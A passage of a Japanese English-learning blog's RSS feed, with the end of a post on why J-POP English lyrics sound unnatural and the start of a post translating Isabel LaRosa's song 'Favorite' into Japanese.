<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 44px;"><strong>・A genius who<span style="color: #f78181;"> stands out</span></strong><br /><strong>・Genius that <span style="color: #f78181;">breaks the mold</span></strong><br /><strong>・<span style="color: #f78181;">Born to stand out</span>, genius inside</strong></td>
</tr>
<tr style="height: 47px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 58px; background-color: #ffe3e3;"><strong>解説</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 58px; vertical-align: middle;">文法的に不自然。<strong>genius</strong>（天才）は可算名詞で <strong>sticking out</strong> と組み合わせるのが変。「目立つ天才」「型破り」を自然な英語に変換</td>
</tr>
</tbody>
</table>


<ul class="wp-block-list">
<p class="wp-block-paragraph"><br></p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:66px;height:auto"/></figure>



<h2 class="wp-block-heading">自然な英語歌詞を作れる作詞家はいるの？</h2>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="680" height="452" src="https://ffeng.jp/wp-content/uploads/2025/10/s_204831052-680x452.pagespeed.ce_.rmC8OciYm6.jpg" alt="" class="wp-image-4863" srcset="https://ffeng.jp/wp-content/uploads/2025/10/s_204831052-680x452.pagespeed.ce_.rmC8OciYm6.jpg 680w, https://ffeng.jp/wp-content/uploads/2025/10/s_204831052-680x452.pagespeed.ce_.rmC8OciYm6-300x199.jpg 300w, https://ffeng.jp/wp-content/uploads/2025/10/s_204831052-680x452.pagespeed.ce_.rmC8OciYm6-678x452.jpg 678w" sizes="auto, (max-width: 680px) 100vw, 680px" /></figure>



<p class="wp-block-paragraph">日本でも、英語ネイティブの作詞家や、海外のソングライターに依頼すれば、文法的にも自然で国際的に通用する歌詞は作れます。例えば、宇多田ヒカルやONE OK ROCKなどは海外のリスナーからも「自然な英語」と評価されています。</p>



<h4 class="wp-block-heading">1. 宇多田ヒカルのすごさ</h4>



<p class="wp-block-paragraph"><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">英語力の高さ</mark></span></strong><br>ニューヨーク育ちで英語が母語。<br>だから 「日本人がカッコいいと思う英語」ではなく「ネイティブが自然だと感じる英語」 を歌詞にできる。“世界に通じる英語”を歌詞として成立させているのが凄みです。多くの日本人アーティストが「和製英語」「文法エラー」「意味不明フレーズ」を使う中、 国際基準の英語でJ-POPを作れる稀有な存在です。<br></p>



<p class="wp-block-paragraph"><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">宇多田ヒカル“First Love”から英語力を学んでみよう</mark></span></strong><br><br><strong><mark><mark style="background-color:#fadce4" class="has-inline-color has-black-color">You are always gonna be my love</mark></mark></strong><br><br>正しい文法で、ネイティブにも違和感ゼロ。一見、簡単な英語だが、音楽に乗せると、その普通さがストレートに感情を揺さぶり、共感できる普遍的なフレーズへと変わります。さらに、英語のリズムと意味が自然に溶け合っています。</p>



<p class="wp-block-paragraph"><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">「普通の英語」をあえて歌詞にできる力</mark></span></strong><br>多くの日本人作詞家はカッコよく見せようとして不自然な英語を選びがち。しかし、宇多田ヒカルの英語歌詞は、文法的にとてもシンプル。普通の英語をそのまま芸術にできるのが凄みです。</p>



<p class="wp-block-paragraph"><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">リズムと自然さの両立</mark></span></strong><br>英語を音楽的に機能させる技術が高く、意味を壊さずにメロディに乗せることができる作詞力と作曲力が魅力です。この <mark style="background-color:#ffd9e2" class="has-inline-color"><strong>“You are always gonna be my love”</strong> </mark>という歌詞も音節がメロディにぴったりはまっています。</p>



<p class="wp-block-paragraph"><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color"><span style="text-decoration: underline;">翻訳不可能な「自然さ」</span></mark></strong><br><strong><mark style="background-color:#ffd9e2" class="has-inline-color"><strong>“You are always gonna be my love”</strong> </mark></strong>を、日本語で「あなたはいつまでも私の愛」と歌うとと硬くクサい歌詞になってしまいます。英語で歌うことで、自然な恋人へのつぶやきに聞こえます。日常英語をそのまま歌詞にして違和感なく成立させることは、日本人作詞家には難しいのです。すごさ＝難しい英語ではなく、普通の英語を壊さずに歌詞として成立させること自体が難しく、そこを成功させた第一人者と言えるでしょう。二世タレントの1人ですが、バックグラウンドよりも実力が上回るアーティストです。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">2. ONE OK ROCKのすごさ</h4>



<p class="wp-block-paragraph"><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color"><span style="text-decoration: underline;">海外のソングライターやプロデューサーと共作</span></mark></strong><br>ボーカルのTakaの発音は英語圏でも通じやすいと言われ、ライブやフェスではネイティブに近いサウンドで歌える日本人バンドとして評価されていますが、海外のアーティストたちと共作しています。そのため、英語詞の曲は海外ロックの文法・言い回しを踏襲し、表面的には世界基準に聞こえます。世界的に流行している言い回しやスラングを即導入できる。流行りの洋楽っぽさをそのまま再現可能できるのが強みです。</p>



<p class="wp-block-paragraph"><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color"><span style="text-decoration: underline;">マーケティング力</span></mark></strong><br>海外フェスやSpotifyなどの配信サービスのグローバル プレイリストにのせるための戦略を打てるマーケティング力も備えています。楽曲そのものだけでなく見せ方にも投資でき、世界市場を見据えて英語詞のクオリティを担保できる潤沢な資金があります。さらに、レーベルの後押しもあり、制作体制そのものが世界仕様。また、羽生結弦などのスポーツ選手、佐藤健をはじめとする芸能界の友人、大物アーティストがファンと公言しているのもマーケティング力になっています。<br><br><strong><span style="text-decoration: underline;">実際の口コミ</span></strong><br>英語歌詞には自然な部分と、急に不自然な部分が混ざっていると指摘する声があります。歌詞の中に翻訳調や借り物感が混じるため、純度の高さを感じにくいためです。また、<br>親の七光り感も否めません。Takaはジャニーズ出身で、さらに芸能一家の二世。本人は実力をつけて海外で活躍しているものの、最初から環境に恵まれていたという事実は消せないでしょう。</p>



<p class="wp-block-paragraph" style="font-size:16px"></p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">3. 上記３者の違い</h4>
</ul>


<table style="border-collapse: collapse; width: 100%; height: 206px;">
<tbody>
<tr style="border-style: dotted; border-color: #fac3d0; background-color: #ffb8c9;">
<td style="width: 24.7619%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; height: 46px; vertical-align: middle; text-align: center;"><strong>アーチスト</strong></td>
<td style="width: 75.2381%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; height: 46px; vertical-align: middle; text-align: center;"><strong>特徴</strong></td>
</tr>
<tr style="height: 47px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 44px; background-color: #ffe3e3;"><strong>Snow Man</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 44px;">国内ファン向けの和製英語タイプ。英語は“雰囲気要素”。最近では、海外進出を本格的に始動し、近々本格的な英語の歌を披露するかも?!</td>
</tr>
<tr style="height: 47px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 58px; background-color: #ffe3e3;"><strong>宇多田ヒカル</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 58px; vertical-align: middle;">自身でシンプルかつ母語レベルの自然な英語詞を書ける。センスで英語詞を成立させる、純粋なオリジナル</td>
</tr>
<tr style="height: 47px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 58px; background-color: #ffe3e3;"><strong>ONE OK ROCK</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 58px; vertical-align: middle;">海外展開前提で英語詞はネイティブ作家と共作。「七光り＋資金＋ゴースト疑惑」が付きまとう</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:171px;height:auto"/></figure>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F10%2F08%2Fjpop-english-lyrics-weird%2F&amp;linkname=%E3%81%AA%E3%81%9C%E6%97%A5%E6%9C%AC%E3%81%AE%E8%8B%B1%E8%AA%9E%E6%AD%8C%E8%A9%9E%E3%81%AF%E4%B8%8D%E8%87%AA%E7%84%B6%E3%81%AB%E8%81%9E%E3%81%93%E3%81%88%E3%82%8B%E3%81%AE%E3%81%8B%E2%94%80%E2%94%80Snow%20Man%E3%81%A7%E8%A6%8B%E3%82%8BJ-POP%E8%8B%B1%E8%AA%9E%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F10%2F08%2Fjpop-english-lyrics-weird%2F&amp;linkname=%E3%81%AA%E3%81%9C%E6%97%A5%E6%9C%AC%E3%81%AE%E8%8B%B1%E8%AA%9E%E6%AD%8C%E8%A9%9E%E3%81%AF%E4%B8%8D%E8%87%AA%E7%84%B6%E3%81%AB%E8%81%9E%E3%81%93%E3%81%88%E3%82%8B%E3%81%AE%E3%81%8B%E2%94%80%E2%94%80Snow%20Man%E3%81%A7%E8%A6%8B%E3%82%8BJ-POP%E8%8B%B1%E8%AA%9E%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F10%2F08%2Fjpop-english-lyrics-weird%2F&amp;linkname=%E3%81%AA%E3%81%9C%E6%97%A5%E6%9C%AC%E3%81%AE%E8%8B%B1%E8%AA%9E%E6%AD%8C%E8%A9%9E%E3%81%AF%E4%B8%8D%E8%87%AA%E7%84%B6%E3%81%AB%E8%81%9E%E3%81%93%E3%81%88%E3%82%8B%E3%81%AE%E3%81%8B%E2%94%80%E2%94%80Snow%20Man%E3%81%A7%E8%A6%8B%E3%82%8BJ-POP%E8%8B%B1%E8%AA%9E%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F10%2F08%2Fjpop-english-lyrics-weird%2F&amp;linkname=%E3%81%AA%E3%81%9C%E6%97%A5%E6%9C%AC%E3%81%AE%E8%8B%B1%E8%AA%9E%E6%AD%8C%E8%A9%9E%E3%81%AF%E4%B8%8D%E8%87%AA%E7%84%B6%E3%81%AB%E8%81%9E%E3%81%93%E3%81%88%E3%82%8B%E3%81%AE%E3%81%8B%E2%94%80%E2%94%80Snow%20Man%E3%81%A7%E8%A6%8B%E3%82%8BJ-POP%E8%8B%B1%E8%AA%9E%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0" title="Line" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F10%2F08%2Fjpop-english-lyrics-weird%2F&amp;linkname=%E3%81%AA%E3%81%9C%E6%97%A5%E6%9C%AC%E3%81%AE%E8%8B%B1%E8%AA%9E%E6%AD%8C%E8%A9%9E%E3%81%AF%E4%B8%8D%E8%87%AA%E7%84%B6%E3%81%AB%E8%81%9E%E3%81%93%E3%81%88%E3%82%8B%E3%81%AE%E3%81%8B%E2%94%80%E2%94%80Snow%20Man%E3%81%A7%E8%A6%8B%E3%82%8BJ-POP%E8%8B%B1%E8%AA%9E%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F10%2F08%2Fjpop-english-lyrics-weird%2F&amp;linkname=%E3%81%AA%E3%81%9C%E6%97%A5%E6%9C%AC%E3%81%AE%E8%8B%B1%E8%AA%9E%E6%AD%8C%E8%A9%9E%E3%81%AF%E4%B8%8D%E8%87%AA%E7%84%B6%E3%81%AB%E8%81%9E%E3%81%93%E3%81%88%E3%82%8B%E3%81%AE%E3%81%8B%E2%94%80%E2%94%80Snow%20Man%E3%81%A7%E8%A6%8B%E3%82%8BJ-POP%E8%8B%B1%E8%AA%9E%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F10%2F08%2Fjpop-english-lyrics-weird%2F&amp;linkname=%E3%81%AA%E3%81%9C%E6%97%A5%E6%9C%AC%E3%81%AE%E8%8B%B1%E8%AA%9E%E6%AD%8C%E8%A9%9E%E3%81%AF%E4%B8%8D%E8%87%AA%E7%84%B6%E3%81%AB%E8%81%9E%E3%81%93%E3%81%88%E3%82%8B%E3%81%AE%E3%81%8B%E2%94%80%E2%94%80Snow%20Man%E3%81%A7%E8%A6%8B%E3%82%8BJ-POP%E8%8B%B1%E8%AA%9E%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F10%2F08%2Fjpop-english-lyrics-weird%2F&amp;linkname=%E3%81%AA%E3%81%9C%E6%97%A5%E6%9C%AC%E3%81%AE%E8%8B%B1%E8%AA%9E%E6%AD%8C%E8%A9%9E%E3%81%AF%E4%B8%8D%E8%87%AA%E7%84%B6%E3%81%AB%E8%81%9E%E3%81%93%E3%81%88%E3%82%8B%E3%81%AE%E3%81%8B%E2%94%80%E2%94%80Snow%20Man%E3%81%A7%E8%A6%8B%E3%82%8BJ-POP%E8%8B%B1%E8%AA%9E%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2025%2F10%2F08%2Fjpop-english-lyrics-weird%2F&#038;title=%E3%81%AA%E3%81%9C%E6%97%A5%E6%9C%AC%E3%81%AE%E8%8B%B1%E8%AA%9E%E6%AD%8C%E8%A9%9E%E3%81%AF%E4%B8%8D%E8%87%AA%E7%84%B6%E3%81%AB%E8%81%9E%E3%81%93%E3%81%88%E3%82%8B%E3%81%AE%E3%81%8B%E2%94%80%E2%94%80Snow%20Man%E3%81%A7%E8%A6%8B%E3%82%8BJ-POP%E8%8B%B1%E8%AA%9E%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0" data-a2a-url="https://ffeng.jp/2025/10/08/jpop-english-lyrics-weird/" data-a2a-title="なぜ日本の英語歌詞は不自然に聞こえるのか──Snow Manで見るJ-POP英語の現在地"></a></p><p>The post <a rel="nofollow" href="https://ffeng.jp/2025/10/08/jpop-english-lyrics-weird/">なぜ日本の英語歌詞は不自然に聞こえるのか──Snow Manで見るJ-POP英語の現在地</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/12/08/tiktok-english-slang-2025/' title='【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/11/content-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/11/content-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2025/11/content-150x150.png 150w, https://ffeng.jp/wp-content/uploads/2025/11/content-65x65.png 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/01/11/ren5/' title='「もし私が目黒蓮の彼女なら…」妄想で覚える英語仮定法③ IF 後編'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/01/superhero-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/01/superhero-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2025/01/superhero-150x150.png 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">「もし私が目黒蓮の彼女なら…」妄想で覚える英語仮定法③ IF 後編</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/05/26/starren3/' title='【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/05/IMG_1581-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/05/IMG_1581-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2024/05/IMG_1581-150x150.jpg 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">4858</post-id>	</item>
		<item>
		<title>Tiktokでバズってる　イザベル・ラローザの新曲《Favorite》和訳</title>
		<link>https://ffeng.jp/2024/04/27/favorite/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Sat, 27 Apr 2024 13:02:13 +0000</pubDate>
				<category><![CDATA[Buzzwords]]></category>
		<category><![CDATA[エンターテイメント]]></category>
		<category><![CDATA[音楽]]></category>
		<category><![CDATA[Favorite]]></category>
		<category><![CDATA[I'm Yours]]></category>
		<category><![CDATA[Isabel LaRosa]]></category>
		<category><![CDATA[Older]]></category>
		<category><![CDATA[Spotify]]></category>
		<category><![CDATA[TikTok]]></category>
		<category><![CDATA[イザベル・ラローザ]]></category>
		<category><![CDATA[バズる]]></category>
		<guid isPermaLink="false">https://ffeng.jp/?p=1944</guid>

					<description><![CDATA[<p>今回はTiktokで気になった、イザベル・ラローザ <a class="mh-excerpt-more" href="https://ffeng.jp/2024/04/27/favorite/" title="Tiktokでバズってる　イザベル・ラローザの新曲《Favorite》和訳">[...]</a></p>
<p>The post <a rel="nofollow" href="https://ffeng.jp/2024/04/27/favorite/">Tiktokでバズってる　イザベル・ラローザの新曲《Favorite》和訳</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2021/10/23/edamame/' title='ラップと枝豆の融合？Rich Brian&amp;bbno$『edamame』和訳'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://youtu.be/K6BRna4_bmg?si=7qPINKDPW0wVmUid" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169-150x150.jpg 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">ラップと枝豆の融合？Rich Brian&amp;bbno$『edamame』和訳</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2020/07/07/maisiepeters/' title='メイジー・ピータース『Sad Girl Summer』和訳。夏の失恋を癒すエモくてキャッチーなメロディ　　'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2020/07/45453408_1282554225219698_7988138239934332928_n-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2020/07/45453408_1282554225219698_7988138239934332928_n-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2020/07/45453408_1282554225219698_7988138239934332928_n-150x150.jpg 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">メイジー・ピータース『Sad Girl Summer』和訳。夏の失恋を癒すエモくてキャッチーなメロディ　　</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2021/06/29/afterparty/' title='アビゲイル・バーロウ「Afterparty」和訳。アメリカ版 積極的に気に入った男子を二次会に誘う女子の歌'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2021/06/img_8878-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2021/06/img_8878-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2021/06/img_8878-150x150.jpg 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">アビゲイル・バーロウ「Afterparty」和訳。アメリカ版 積極的に気に入った男子を二次会に誘う女子の歌</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[<p><strong>今回はTiktokで気になった、イザベル・ラローザ（Isabel LaRosa</strong>）の新曲『<strong>Favorite</strong>』を紹介します。</p>
<h3>『Favorite』ってどんな曲？</h3>
<p>2024年3月29日リリースの『<strong>Favorite</strong>』は、「<strong>あなたのお気に入りになってあげる</strong>」とセクシーに歌いかける英語とスペイン語の歌詞を融合した<strong>レゲトンビート</strong>に特徴的な<strong>ダークなひねり</strong>を加えた<strong>イザベル・ラローザ</strong>の新曲。正式リリース前に、SNSで<strong>4億回</strong>以上再生され、世界中のファンからシングルカットを求める声が急増したと言われる待望の楽曲です。全ての行の最後に置かれた韻が心地よく耳に残ります。</p>
<h3>イザベル・ラローザってどんな歌手？</h3>
<p>2021年から活動を開始した米国メリーランド州アナポリス出身の<strong>19歳</strong>の<strong>シンガーソングライター</strong>。アメリカ人の父親、キューバ人移民の母親の元、音楽に囲まれて育つ。オーディオ プラットフォームで 10億近くの再生回数を誇り、<strong>Spotify</strong> が <strong>2024 年に注目すべきポップ ライジング アーティスト</strong>の 1 人に選出。「I<strong>&#8216;m Yours（2022年）</strong>」や「<strong>Older（2023年）</strong>」などがバズりにバズっています。</p>
<h3>『Favorite』和訳</h3>
<div data-mode="normal" data-oembed="1" data-provider="youtube" id="arve-youtube-xkr3sfc6ddq" class="arve">
<div class="arve-inner">
<div style="aspect-ratio:226/127" class="arve-embed arve-embed--has-aspect-ratio">
<div class="arve-ar" style="padding-top:56.194690%"></div>
<p>			<iframe allow="accelerometer &apos;none&apos;;autoplay &apos;none&apos;;bluetooth &apos;none&apos;;browsing-topics &apos;none&apos;;camera &apos;none&apos;;clipboard-read &apos;none&apos;;clipboard-write;display-capture &apos;none&apos;;encrypted-media &apos;none&apos;;gamepad &apos;none&apos;;geolocation &apos;none&apos;;gyroscope &apos;none&apos;;hid &apos;none&apos;;identity-credentials-get &apos;none&apos;;idle-detection &apos;none&apos;;keyboard-map &apos;none&apos;;local-fonts;magnetometer &apos;none&apos;;microphone &apos;none&apos;;midi &apos;none&apos;;otp-credentials &apos;none&apos;;payment &apos;none&apos;;picture-in-picture;publickey-credentials-create &apos;none&apos;;publickey-credentials-get &apos;none&apos;;screen-wake-lock &apos;none&apos;;serial &apos;none&apos;;summarizer &apos;none&apos;;sync-xhr;usb &apos;none&apos;;web-share;window-management &apos;none&apos;;xr-spatial-tracking &apos;none&apos;;" allowfullscreen="" class="arve-iframe fitvidsignore" credentialless data-arve="arve-youtube-xkr3sfc6ddq" data-lenis-prevent="" data-src-no-ap="https://www.youtube-nocookie.com/embed/XKR3SfC6DdQ?feature=oembed&amp;iv_load_policy=3&amp;modestbranding=1&amp;rel=0&amp;autohide=1&amp;playsinline=0&amp;autoplay=0" frameborder="0" height="0" loading="lazy" name="" referrerpolicy="strict-origin-when-cross-origin" sandbox="allow-scripts allow-same-origin allow-presentation allow-popups allow-popups-to-escape-sandbox" scrolling="no" src="https://www.youtube-nocookie.com/embed/XKR3SfC6DdQ?feature=oembed&#038;iv_load_policy=3&#038;modestbranding=1&#038;rel=0&#038;autohide=1&#038;playsinline=0&#038;autoplay=0" title="" width="0"></iframe></p></div>
</p></div>
<p>	<script type="application/ld+json">{"@context":"http:\/\/schema.org\/","@id":"https:\/\/ffeng.jp\/2024\/04\/27\/favorite\/#arve-youtube-xkr3sfc6ddq","@type":"VideoObject","embedURL":"https:\/\/www.youtube-nocookie.com\/embed\/XKR3SfC6DdQ?feature=oembed&iv_load_policy=3&modestbranding=1&rel=0&autohide=1&playsinline=0&autoplay=0"}</script></p>
</div>
<p><strong>FAVORITE − Isabel LaRosa</strong></p>
<p><strong>Say my name, I want the neighbors to hear it</strong><br />
<strong>Want your body to feel it</strong><br />
<strong>Boy, you know if there&#8217;s a heaven, I&#8217;m near it</strong><br />
<strong>Yeah, I promise, my dear, it&#8217;s</strong><br />
<strong>Only you who has my body and healsit</strong><br />
<strong>I&#8217;m the one, can you feel it?</strong></p>
<p>私を名前で呼んで　近くの人に聞こえるくらいに<br />
体で感じて<br />
ねえ、もし天国があるならすぐそこにあるわ<br />
約束ね、私が癒してあげる<br />
私を感じて<br />
（ねえ、感じてる？）</p>
<p><strong>Darlin&#8217;, can I be your favorite?</strong><br />
<strong>I&#8217;ll be your girl, let you taste it</strong><br />
<strong>I know what you want, yeah, just take it</strong><br />
<strong>Darlin&#8217;, can I be your favorite?</strong><br />
<strong>Want you to tell me you crave it</strong><br />
<strong>My name&#8217;s whatever you make it</strong></p>
<p>ダーリン、お気に入りになってあげる<br />
彼女になってあげる　私を味わって<br />
欲しいでしょ？だから受け取って<br />
ダーリン、お気に入りになってあげる<br />
欲しいって言って<br />
好きなように呼んでいいから</p>
<p><strong><em>Ay, cariño, sé que tú eres mío</em></strong><br />
<strong><em>Quiero pasarme la raya</em></strong><br />
<strong><em>Mi paciencia se acaba, te digo</em></strong><br />
<strong><em>&#8220;&#8216;Tá chiquita como mi saya&#8221;</em></strong><br />
<strong><em>Ellas no tienen lo que yo tengo</em></strong><br />
<strong><em>Soy celosa, lo siento</em></strong></p>
<p>ああ、ベイビー、あなたは私のもの<br />
一線を越えよう<br />
もう我慢の限界　私の忍耐なんてこのドレスくらい小さいの<br />
私には彼女たちにないものがあるの<br />
ごめんね　嫉妬してるの</p>
<p><strong>Darlin&#8217;, can I be your favorite?</strong><br />
<strong>I&#8217;ll be your girl, let you taste it</strong><br />
<strong>I know what you want, yeah, just take it</strong><br />
<strong>Darlin&#8217;, can I be your favorite?</strong><br />
<strong>Want you to tell me you crave it</strong><br />
<strong>My name&#8217;s whatever you make it</strong></p>
<p>ダーリン、お気に入りになってあげる<br />
彼女になってあげる　私を味わって<br />
欲しいでしょ？だから受け取って<br />
ダーリン、お気に入りになってあげる<br />
欲しいって言って<br />
名前なんて好きなように呼んで</p>
<p><strong>I swear you&#8217;re heaven, but boy, you&#8217;re no angel</strong><br />
<strong>You take me places only we go</strong><br />
<strong>You&#8217;re so pretty, God, I swear that it&#8217;s painful</strong><br />
<strong>I whisper things only we know</strong><br />
<strong>Put your hands around my neck, make me faithful</strong><br />
<strong>Soy celosa, lo siento</strong></p>
<p>天国みたいでしょ、でも、あなたは天使じゃないの<br />
あなたは2人しか知らないところへ連れて行ってくれる<br />
あなたって苦しいほど可愛いわね<br />
2人だけが分かることを囁くわ<br />
私の首に手をまわして正直になれるから<br />
ごめんね　妬けるわ</p>
<p><strong>Darlin&#8217;, can I be your favorite?</strong><br />
<strong>I&#8217;ll be your girl, let you taste it</strong><br />
<strong>I know what you want, yeah, just take it</strong><br />
<strong>Darlin&#8217;, can I be your favorite?</strong><br />
